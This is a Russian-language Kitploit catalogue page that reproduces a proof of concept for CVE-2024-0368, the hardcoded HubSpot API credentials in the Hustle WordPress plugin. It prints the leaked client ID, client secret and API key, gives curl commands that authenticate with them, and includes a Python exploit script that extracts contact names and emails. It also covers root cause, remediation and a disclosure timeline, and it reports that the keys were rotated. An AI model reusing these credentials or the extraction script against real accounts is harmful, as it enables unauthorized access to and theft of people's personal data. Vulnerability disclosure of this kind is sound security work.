Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-0368 — Плагин Hustle версии <= 7.8.3 содержит жёстко прописанные учётные данные HubSpot API в файле inc/providers/hubspot/hustle-hubspot-api.php | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-0368
Анализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьОбнаружение СекретовОбучение и Образование
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Плагин Hustle версии <= 7.8.3 содержит жёстко прописанные учётные данные HubSpot API в файле inc/providers/hubspot/hustle-hubspot-api.php

Репозиторий
17 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-0368

Плагин Hustle <= 7.8.3 содержит жестко заданные учетные данные HubSpot API в файле inc/providers/hubspot/hustle-hubspot-api.php

Сводка уязвимости

ПолеЗначение
CVE IDCVE-2024-0368
НазваниеHustle <= 7.8.3 - Раскрытие конфиденциальной информации через раскрытые ключи API HubSpot
Оценка CVSS8.6 (Высокий)
Затрагиваемый плагинHustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Уязвимые версии<= 7.8.3
Исправленная версия7.8.4
Тип уязвимостиCWE-200: Раскрытие конфиденциальной информации

Технический анализ

Расположение уязвимого кода

Файл: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Раскрытые учетные данные

Области OAuth (Потенциальный доступ)

Жестко заданная конфигурация OAuth запрашивала следующие области HubSpot:

  • oauth - аутентификация OAuth
  • crm.objects.contacts.write - Создание/изменение контактов
  • crm.objects.contacts.read - Чтение информации о контактах (ПДн)
  • crm.lists.read - Чтение маркетинговых списков
  • crm.lists.write - Изменение маркетинговых списков
  • crm.schemas.contacts.write - Изменение схем контактов
  • crm.schemas.contacts.read - Чтение схем контактов

Описание уязвимости

Коренная причина

WPMUDEV жестко задали собственные учетные данные приложения OAuth HubSpot непосредственно в исходном коде плагина. Это нарушение правил безопасной разработки, так как:

  1. Публичное раскрытие: Плагины WordPress имеют открытый исходный код - код общедоступен в репозитории SVN wordpress.org
  2. Массовое распространение: Плагин Hustle имеет 100 000+ активных установок
  3. Общие учетные данные: Все установки плагина используют одни и те же учетные данные API

Вектор атаки

Злоумышленник может:

  1. Скачать уязвимый плагин с wordpress.org
  2. Извлечь жестко заданные учетные данные из исходного кода PHP
  3. Использовать эти учетные данные для аутентификации в API HubSpot
  4. Получить доступ к учетной записи HubSpot WPMUDEV и любым данным, обрабатываемым через их интеграцию

Потенциальное воздействие

Имея действительные учетные данные, злоумышленник потенциально может:

  • Читать ПДн: Получить контактную информацию (имена, email, номера телефонов, адреса)
  • Изменять данные: Создавать, обновлять или удалять контакты в HubSpot
  • Доступ к маркетинговым спискам: Просматривать и манипулировать маркетинговыми списками
  • Извлечение данных: Извлекать данные подписчиков с сайтов, использующих интеграцию Hustle + HubSpot

Доказательство концепции

Шаг 1: Найти уязвимый файл

root@kitploit:~
# Из установки WordPress
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Вывод:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Шаг 2: Проверить доступ к API с использованием ключа (Контакты)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Примечание: На момент тестирования ключ API был ротирован/истек (ожидаемо после раскрытия):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Шаг 3: Проверить поток OAuth

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Ответ: Учетные данные были аннулированы.

Эксплойт-скрипт (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Результаты проверки

Окружение:

  • WordPress: Запущен на Docker
  • Версия плагина: 7.8.2 (Уязвимая)
  • Уязвимый файл: Подтверждено наличие жестко заданных учетных данных

Статус учетных данных:

  • Ключ API (HAPIKEY): Истёк/Ротирован (после раскрытия)
  • Учетные данные OAuth: Аннулированы (после раскрытия)

Вывод: Уязвимость подтверждена - жестко заданные учетные данные существуют в исходном коде и ранее были эксплуатируемы. WPMUDEV ротировал учетные данные после ответственного раскрытия.

Устранение

Исправление от разработчика (v7.8.4+)

Патч удаляет жестко заданные учетные данные и реализует правильное хранение учетных данных:

  • Учетные данные перемещены в базу данных/конфигурацию окружения
  • Пользователи теперь должны настраивать свои собственные учетные данные API HubSpot
  • Нет общих учетных данных между установками

Рекомендации пользователям

  1. Обновитесь немедленно: Обновите Hustle до версии 7.8.4 или новее
  2. Перенастройте HubSpot: Настройте интеграцию HubSpot со своими собственными учетными данными
  3. Проверьте журналы доступа: Проверьте HubSpot на наличие несанкционированного доступа к API в период уязвимости

Хронология

ДатаСобытие
2024-01-05Опубликован CVE-2024-0368
2024-03-08Патч выпущен в версии 7.8.4
После раскрытияУчетные данные изменены WPMUDEV

Ссылки

  • Консультация Wordfence
  • Изменение набора плагина WordPress
  • Документация API HubSpot
  • Запись NVD

Создано для целей авторизованного исследования безопасности

Скачать инструмент
Учетные данныеЗначениеНазначение
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bИдентификатор приложения OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaСекрет клиента OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aУстаревший ключ API HubSpot